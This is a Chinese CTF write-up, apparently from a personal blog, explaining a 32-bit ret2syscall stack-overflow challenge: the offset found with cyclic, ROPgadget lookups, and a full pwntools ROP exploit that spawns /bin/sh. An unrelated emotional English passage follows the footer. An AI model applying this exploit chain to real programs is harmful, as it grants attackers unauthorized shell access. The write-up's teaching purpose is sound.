pwn入门--ret2syscall题解(ret2syscall漏洞)


拿到文件后,还是往ubuntu里一放,然后checksec一下,发现是i386架构下的32位程序

扔进IDA里反汇编看一下

这么明示ret2syscall漏洞,那么我们不妨尝试一下~~
先进入gdb调试模式下运行程序,然后cyclic生成下字符串,塞进程序里运行。果然,栈溢出了

找到程序ret的地址,然后cyclic -l 0x62616164,得到栈溢出偏移量为112

那么思路逐渐清晰,我们接下来要把函数的栈帧布置为以下模样,为的是最后能够进入/bin/sh文件夹获取权限(偷的学长的图hh):

偏移量我们已经有了,接下来是要布置edx,ecx等寄存器的值。使用如下命令查找其地址:
ROPgadget --binary ret2syscall --only 'pop|ret' |grep edx

发现有edx,ecx,ebx三个寄存器连在一起的地址,地址为0x0806eb90,正合我们意(当然也可以找三个单独的寄存器地址,但是这样省事嘛)。接下来查找eax和int 80h的地址(int 80h是32位程序运行完后的中断命令,在64位下中断命令为syscall):

寄存器的地址找完了,该查找/bin/sh和eax里存放的sys_execve()函数的地址了(我们本身并没有进入/bin/sh目录的权限,所以要借助系统函数,来带领我们获取权限)
使用以下命令查找/bin/sh的地址

ROPgadget --binary ret2syscall --string '/bin/sh'

至于sys_execve()函数的地址,我们查询Linux System Call Table,发现对应的%eax是11,在16进制下为0xb

均查找完毕之后,准备工作结束,可以开始构造攻击载荷对该程序发出最后一击~~
构造过程就不赘述了,直接放出操作结果:

可以看到,我们成功hack进了该文件的/bin/sh目录下,拥有可以为所欲为的权限了~~

接下来放exp:

from pwn import *
context(arch="i386")
p = process('./ret2syscall')
pop_edx_ecx_ebx=0x0806eb90
bin_sh=0x080be408
pop_eax=0x080bb196
int80=0x08049421
payload = b'a'*112
payload+=p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)
payload+=p32(pop_eax)+p32(0xb)
payload+=p32(int80)
p.sendline(payload)
p.interactive()

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - pwn入门--ret2syscall题解(ret2syscall漏洞)


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.